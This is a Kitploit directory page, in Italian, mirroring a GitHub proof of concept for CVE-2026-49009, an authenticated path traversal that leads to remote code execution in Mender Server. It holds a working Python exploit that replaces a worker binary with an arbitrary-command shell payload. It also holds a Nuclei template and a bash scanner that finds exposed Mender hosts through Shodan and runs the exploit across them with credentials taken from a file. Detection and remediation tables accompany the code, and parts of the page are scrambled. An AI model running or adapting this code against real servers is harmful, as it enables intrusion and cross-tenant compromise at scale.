Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/inteleon404/cve-2026-49009
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubinteleon404/cve-2026-49009

CVE-2026-49009

Mender Server - Path Traversal autenticato verso RCE

Vedi Repository
53 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-49009 — Mender Server: Path Traversal autenticato verso esecuzione di codice remoto

CVE CVSS CWE Status License

Scoperto da j0xh-sec via HackerOne · PoC di INTELEON404


Indice dei contenuti

  • Riepilogo della vulnerabilità
  • Versioni interessate
  • Analisi tecnica
  • Proof of Concept
    • Exploit in Python
    • Template Nuclei
    • Scanner ShodanX + Nuclei
  • Utilizzo
  • Rilevamento e indicatori
  • Rimedi
  • Cronologia
  • Riferimenti
  • Disclaimer

Riepilogo della vulnerabilità

Descrizione

Mender Server nelle versioni ≤4.1.0 e ≤4.0.1 contiene una vulnerabilità di path traversal autenticato nell'endpoint API per la generazione di artefatti a file singolo. Un attaccante che fornisce sequenze ../ nel campo filename può sovrascrivere /usr/bin/mender-artifact all'interno del container create-artifact-worker. Quando il successivo step del workflow richiama questo binario, comandi arbitrari vengono eseguiti come codice.

Negli ambienti multi-tenant Hosted Mender, il container worker condiviso processa gli artefatti per tutti i tenant — consentendo una compromissione cross-tenant.


Versioni interessate


Analisi tecnica

Causa principale

L'endpoint /api/management/v1/deployments/artifacts/generate accetta un campo filename all'interno di un parametro JSON args. Questo valore viene utilizzato per costruire il percorso di scrittura su disco durante la generazione dell'artefatto. Le sequenze di path traversal (../) non vengono sanificate, consentendo al valore controllato dall'attaccante di fuoriuscire dalla directory di upload prevista.

Flusso dell'attacco

---``` ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. AUTHENTICATE │ │ POST /api/management/v1/useradm/auth/login │ │ Authorization: Basic <base64(user:pass)> │ │ ──────────────────────────────────────────────────────► │ │ 200 OK + JWT token │ │ │ │ 2. SUBMIT TRAVERSAL PAYLOAD │ │ POST /api/management/v1/deployments/artifacts/generate │ │ Authorization: Bearer │ │ args.filename = "../../../../usr/bin/mender-artifact" │ │ file = │ │ ──────────────────────────────────────────────────────► │ │ 202 Accepted + Location │ │ │ │ 3. WORKER CONTAINER WRITES FILE │ │ /usr/bin/mender-artifact ← attacker payload │ │ │ │ 4. NEXT WORKFLOW TRIGGER │ │ create-artifact-worker invokes /usr/bin/mender-artifact │ │ ──────────────────────────────────────────────────────► │ │ REMOTE CODE EXECUTION │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Perché funziona

| Fattore | Spiegazione |
|---|---|
| **Percorso non sanificato** | `../../../../usr/bin/mender-artifact` fuoriesce dalla destinazione prevista `/opt/mender/app/` |
| **Elaborazione asincrona** | Il `create-artifact-worker` scrive il file in modo asincrono, prima di qualsiasi validazione a valle |
| **Dirottamento del binario** | I passaggi successivi del flusso di lavoro richiamano `/usr/bin/mender-artifact` come parte del normale funzionamento |
| **Riutilizzo del container** | Nelle distribuzioni multi-tenant, lo stesso container worker elabora gli artifact per tutti i tenant |

---

## Prova di concetto

> **Autorizzazione richiesta.** Esegui solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test.

### Exploit in Python

<details>
<summary>▶ Visualizza il codice dell'exploit</summary>```python
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by:        INTELEON404 (Authorized security assessment)
"""

import argparse
import base64
import json
import re
import sys
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
        epilog="Discovered by j0xh-sec | PoC by INTELEON404"
    )
    parser.add_argument("-t", "--target",   required=True, help="Base URL, e.g. https://mender.local")
    parser.add_argument("-u", "--username", required=True, help="Mender username / email")
    parser.add_argument("-p", "--password", required=True, help="Mender password")
    parser.add_argument("-c", "--command",  required=True, help="Command to execute")
    return parser.parse_args()


def banner():
    print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
    print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")


def build_payload(command: str) -> bytes:
    """Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
    encoded = base64.b64encode(command.encode()).decode()
    return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()


def main():
    args = parse_args()
    banner()

    target = args.target.rstrip("/")
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    host = target.split("://")[1].split("/")[0]

    print(f"[*] Target : {target}")
    print(f"[*] User   : {args.username}")

    # ── Step 1: Authenticate ──────────────────────────────────────────────
    print("[*] Authenticating...")
    try:
        r = requests.post(
            f"{target}/api/management/v1/useradm/auth/login",
            auth=(args.username, args.password),
            headers={"Host": host, "Content-Type": "application/json"},
            data="{}",
            verify=False,
            timeout=30,
        )
        if r.status_code != 200:
            raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
        jwt = r.text.strip()
        print("[+] JWT obtained")
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during login: {e}")

    # ── Step 2: Submit traversal payload ─────────────────────────────────
    print("[*] Submitting path traversal payload...")
    artifact_name = f"rce-poc-{int(time.time())}"

    args_json = {
        "filename": "../../../../usr/bin/mender-artifact",
        "dest_dir": "/opt/mender/app",
        "software_name": "demo",
        "software_version": "1",
    }

    files = {
        "name":                     (None, artifact_name),
        "description":              (None, "CVE-2026-49009 PoC"),
        "type":                     (None, "single-file"),
        "device_types_compatible":  (None, "qemu"),
        "args":                     (None, json.dumps(args_json), "application/json"),
        "file":                     ("payload.sh", build_payload(args.command), "application/octet-stream"),
    }

    try:
        r = requests.post(
            f"{target}/api/management/v1/deployments/artifacts/generate",
            headers={"Host": host, "Authorization": f"Bearer {jwt}"},
            files=files,
            verify=False,
            timeout=60,
            allow_redirects=False,
        )
    except requests.RequestException as e:
        raise RuntimeError(f"Connection error during exploit: {e}")

    location = r.headers.get("Location", "")
    if not location:
        print(f"[!] HTTP {r.status_code} — no Location header returned")
        print(f"[!] Response: {r.text[:500]}")
        print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
        sys.exit(1)

    job_id = re.search(r"/([^/]+)$", location).group(1)
    print(f"[+] Workflow submitted — Job ID: {job_id}")
    print(f"[+] Payload : {args.command}")
    print("\n[*] Command executes inside the worker container when the workflow completes.")


if __name__ == "__main__":
    try:
        main()
    except RuntimeError as e:
        print(f"\n[!] ERROR: {e}", file=sys.stderr)
        sys.exit(1)
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        sys.exit(130)

Modello Nuclei

▶ Visualizza template (CVE-2026-49009.yaml)```yaml id: CVE-2026-49009

info: name: Mender Server - Authenticated Path Traversal to RCE Detection author: j0xh-sec severity: medium description: | Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory. impact: | Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container. remediation: | Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-49009 - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2026-49009 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: northern.tech product: mender_server shodan-query: http.title:"Mender" fofa-query: title="Mender" tags: cve,cve2026,mender,path-traversal,rce,authenticated

http:

  • raw:

    • |+ POST /api/management/v1/deployments/artifacts/generate HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

      ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name"

      cve-scan-{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="description"

      CVE-2026-49009 verification ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="type"

      single-file ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="device_types_compatible"

      qemu ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="args" Content-Type: application/json

      {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="file"; filename="payload.sh" Content-Type: application/octet-stream

      #!/bin/sh echo ------WebKitFormBoundary{{randstr}}--

    matchers-condition: or matchers:

    If the instance responds with a 400 Bad Request indicating a parsing error or


Utilizzo

Requisiti

Python PoC```bash

python3 cve-2026-49009.py
-t https://mender-server.local
-u [email protected]
-p 's3cret!'
-c 'id > /tmp/pwned.txt'

root@kitploit:~
### Nuclei```bash
nuclei -t CVE-2026-49009.yaml \
  -u https://mender-server.local \
  -var [email protected] \
  -var PASSWORD='s3cret!'

Scanner```bash

Full automatic scan (ShodanX + Nuclei)

./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword'

Credential rotation from file

./cve-2026-49009-scanner.sh -c creds.txt

Skip discovery, scan known targets

./cve-2026-49009-scanner.sh -n -t targets.txt -u [email protected] -P 'YourPassword'

Extended scan

./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword' -p 10 -r 150

root@kitploit:~
---

## Rilevamento e Indicatori

### Applicazione / Host

| Indicatore | Descrizione |
|---|---|
| Intestazione `Location` dopo nome file con traversal | Il server restituisce `Location` dopo aver accettato un nome file contenente `../` |
| Nomi di artefatti sospetti | Pattern: `cve-poc-*`, `rce-poc-*`, `pwn-*` |
| Timestamp binario modificato | Timestamp di `/usr/bin/mender-artifact` modificato all'interno del container worker |
| Output inatteso del worker | Log del container che mostrano comandi non correlati all'elaborazione degli artefatti |

### Rete

| Indicatore | Descrizione |
|---|---|
| POST a `artifacts/generate` | Con `args` JSON contenente sequenze `../` |
| Coppia auth + upload | Login Basic auth immediatamente seguito da un upload multipart dallo stesso IP sorgente |

### Logica di corrispondenza di Nuclei

Il template restituisce un risultato positivo quando:
1. `POST /useradm/auth/login` → `HTTP 200` + JWT valido (> 100 caratteri)
2. `POST /artifacts/generate` → `HTTP 2xx` + intestazione `Location` presente

Un server patchato (≥ 4.1.1 / 4.0.2) rifiuta il percorso di traversal con `HTTP 4xx` al passo 2.

---

## Rimedio

| Priorità | Azione |
|---|---|
| **Immediata** | Aggiornare a Mender Server **4.1.1** o **4.0.2** |
| **Controllo compensativo** | Abilitare la firma crittografica degli artefatti — i dispositivi rifiutano gli artefatti manomessi |
| **Soluzione alternativa** | Limitare l'accesso API alle reti affidabili; disabilitare la generazione di artefatti se non utilizzata |
| **Audit** | Esaminare i log per le richieste di generazione di artefatti con valori `filename` insoliti |

---

## Cronologia

| Data | Evento |
|---|---|
| 2026-04-01 | Mender Server 4.1.1 / 4.0.2 rilasciato con la correzione |
| 2026-05-27 | CVE pubblicato; advisory rilasciato da Northern.tech |
| 2026-05-27 | PoC pubblicato da INTELEON404 |

---

## Riferimenti

- [NVD — CVE-2026-49009](https://nvd.nist.gov/vuln/detail/CVE-2026-49009)
- [Advisory di sicurezza Northern.tech](https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server)
- [Voce OpenCVE](https://app.opencve.io/cve/CVE-2026-49009)
- [Pagina CVE di Tenable](https://www.tenable.com/cve/CVE-2026-49009)
- [Changelog di Mender Server](https://docs.mender.io/release-information/release-notes-changelog/mender-server)
- [Changelog di Mender Enterprise](https://docs.mender.io/release-information/release-notes-changelog/mender-server-enterprise)
- [INTELEON404/CVE-2026-49009](https://github.com/INTELEON404/CVE-2026-49009)
- [j0xh-sec/CVE-2026-49009](https://github.com/j0xh-sec/CVE-2026-49009)

---

## Disclaimer

> [!WARNING]
> **Solo per test di sicurezza autorizzati e scopi educativi.**
>
> Questa proof of concept è destinata esclusivamente all'uso su sistemi di tua proprietà o per i quali hai ricevuto **esplicita autorizzazione scritta** a eseguire test. L'accesso non autorizzato ai sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA), del Computer Misuse Act (CMA) e della legislazione equivalente in tutto il mondo.
>
> Gli autori declinano ogni responsabilità per usi impropri, danni o attività illecite derivanti da questo materiale.

---

<div align="center">

**Scoperto da** [j0xh-sec](https://hackerone.com/j0xh-sec) tramite HackerOne · Divulgazione responsabile a Northern.tech  
**PoC a cura di** INTELEON404 · Valutazione di sicurezza autorizzata

</div>
Scarica lo strumento
CampoDettaglio
ID CVECVE-2026-49009
Punteggio CVSS9.9 Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-22 — Limitazione impropria di un nome di percorso a una directory ristretta
Prodotto interessatoNorthern.tech Mender Server (Community ed Enterprise)
Scoperto daj0xh-sec via HackerOne (divulgazione responsabile)
Autore del PoCINTELEON404 — Valutazione di sicurezza autorizzata
Data di pubblicazione CVE2026-05-27
Patch rilasciata2026-04-01 (Mender Server 4.1.1 / 4.0.2)
ProdottoVersioni vulnerabiliVersione patchata
Mender Server (Community)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
Mender Server (Enterprise)≤ 4.1.0, ≤ 4.0.14.1.1, 4.0.2
Hosted MenderTutte (prima della patch)Auto-patchato

schema validation failure specifically from the deployment service, the path exists.

  • type: dsl dsl:
    • "status_code == 400"
    • "contains(body, 'deployment') || contains(body, 'artifact')" condition: and

Secure setups or unauthenticated attempts to reach this deep API route will

typically return a 401 Unauthorized, validating endpoint presence but blocking access.

  • type: dsl dsl:
    • "status_code == 401"
    • "contains(body, 'unauthorized') || contains(body, 'jwt')" condition: or
root@kitploit:~
</details>

## Nuclei POC
<a href="https://ibb.co.com/27n0JF6s"><img src="https://assets.kitploit.com/production/public/readmes/36707/5c8a69f64497e83df558e6d279b781e9a0ee7cf5bb39cbc0df16bff464ebb5d8/15d30fbbab29d646b3ab7c75f2a4752839a1ca010fa26912e638bf4a128424d8-display-v1.webp" alt="poc" border="0"></a>

---

### ShodanX + Nuclei Scanner

Combina la ricognizione di [ShodanX](https://github.com/RevoltSecurities/ShodanX) con la scansione Nuclei per scoprire e valutare istanze Mender Server su larga scala.

**Fasi:**
1. **Rilevamento** — la dork di ShodanX `http.title:"Mender"` estrae le coppie IP:port
2. **Scansione** — Nuclei esegue il template CVE sui target scoperti con rotazione delle credenziali
3. **Reportistica** — JSON deduplicato + output in testo semplice

<details>
<summary>▶ Visualizza lo script dello scanner (cve-2026-49009-scanner.sh)</summary>```bash
#!/bin/bash
set -euo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
SHODAN_QUERY='http.title:"Mender"'
PAGES=3
RATE=50
NO_SHODAN=false
CREDS_ARRAY=()

usage() {
    cat <<EOF
Usage: $0 [options]
  -u, --username   Mender username
  -P, --password   Mender password
  -c, --creds      Credentials file (username:password, one per line)
  -q, --query      Shodan query (default: http.title:"Mender")
  -o, --output     Output directory
  -p, --pages      Shodan result pages (default: 3)
  -r, --rate       Nuclei rate limit (default: 50)
  -n, --no-shodan  Skip ShodanX discovery
  -t, --targets    Target file (used with --no-shodan)
  -h, --help       Show this help
EOF
    exit 0
}

while [[ $# -gt 0 ]]; do
    case "$1" in
        -q|--query)     SHODAN_QUERY="$2"; shift 2 ;;
        -o|--output)    OUTPUT_DIR="$2";   shift 2 ;;
        -p|--pages)     PAGES="$2";        shift 2 ;;
        -u|--username)  USERNAME="$2";     shift 2 ;;
        -P|--password)  PASSWORD="$2";     shift 2 ;;
        -c|--creds)     CREDS_FILE="$2";   shift 2 ;;
        -n|--no-shodan) NO_SHODAN=true;    shift   ;;
        -t|--targets)   TARGETS_FILE="$2"; shift 2 ;;
        -r|--rate)      RATE="$2";         shift 2 ;;
        -h|--help)      usage ;;
        *) echo "Unknown option: $1"; usage ;;
    esac
done

check_deps() {
    command -v shodanx &>/dev/null || {
        echo "[*] Installing ShodanX..."
        pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
    }
    command -v nuclei &>/dev/null || {
        echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
        exit 1
    }
}

write_template() {
    cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
id: CVE-2026-49009
info:
  name: Mender Server - Authenticated Path Traversal to RCE
  author: j0xh-sec
  severity: critical
  description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
  remediation: Upgrade to 4.1.1 or 4.0.2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49009
    - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-49009
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: northern.tech
    product: mender_server
  tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
http:
  - raw:
      - |+
        POST /api/management/v1/useradm/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Basic {{base64('{{username}}:{{password}}')}}
        {}
      - |+
        POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{jwt}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"
        cve-poc-{{randhex_6}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="args"
        Content-Type: application/json
        {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="file"; filename="payload.sh"
        Content-Type: application/octet-stream
        #!/bin/sh
        /usr/bin/id>/tmp/.cve-2026-49009
        ------WebKitFormBoundary{{randstr}}--
    extractors:
      - type: regex
        name: jwt
        part: body
        internal: true
        regex:
          - "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'len(jwt) > 100'
          - 'status_code_2 >= 200 && status_code_2 < 300'
          - 'contains(to_string(header_2_all), "Location")'
        condition: and
TMPL
    echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
}

shodanx_discover() {
    echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
    mkdir -p "${OUTPUT_DIR}"
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true

    if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
       grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
        :
    else
        grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
            "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
    fi
    echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
}

nuclei_scan() {
    [[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
    echo "[*] Running Nuclei scan (rate: ${RATE})..."
    for cred in "${CREDS_ARRAY[@]}"; do
        nuclei -silent \
            -t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
            -l "${OUTPUT_DIR}/targets.txt" \
            -var "USERNAME=${cred%%:*}" \
            -var "PASSWORD=${cred#*:}" \
            -rate-limit "${RATE}" \
            -jsonl \
            -o "${OUTPUT_DIR}/nuclei-results.json" \
            -timeout 15 -retries 2 -irr 2>/dev/null
    done
    if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
        COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
        echo "[+] ${COUNT} vulnerability(ies) confirmed"
        jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
            sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
    else
        echo "[-] No vulnerabilities found or no results returned"
    fi
}

main() {
    check_deps
    mkdir -p "${OUTPUT_DIR}"
    write_template

    if $NO_SHODAN; then
        [[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
            cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
            { echo "[!] --no-shodan requires --targets <file>"; exit 1; }
    else
        shodanx_discover
    fi

    if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
        CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
    elif [[ -n "${CREDS_FILE:-}" ]]; then
        while IFS=':' read -r u p; do
            [[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
        done < "$CREDS_FILE"
    else
        echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
        exit 1
    fi

    nuclei_scan
    echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
}

main
DipendenzaInstallazione
Python 3.8+apt install python3 python3-pip
requests / urllib3pip install requests urllib3
Nucleigo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
ShodanX (opzionale)pip install git+https://github.com/RevoltSecurities/ShodanX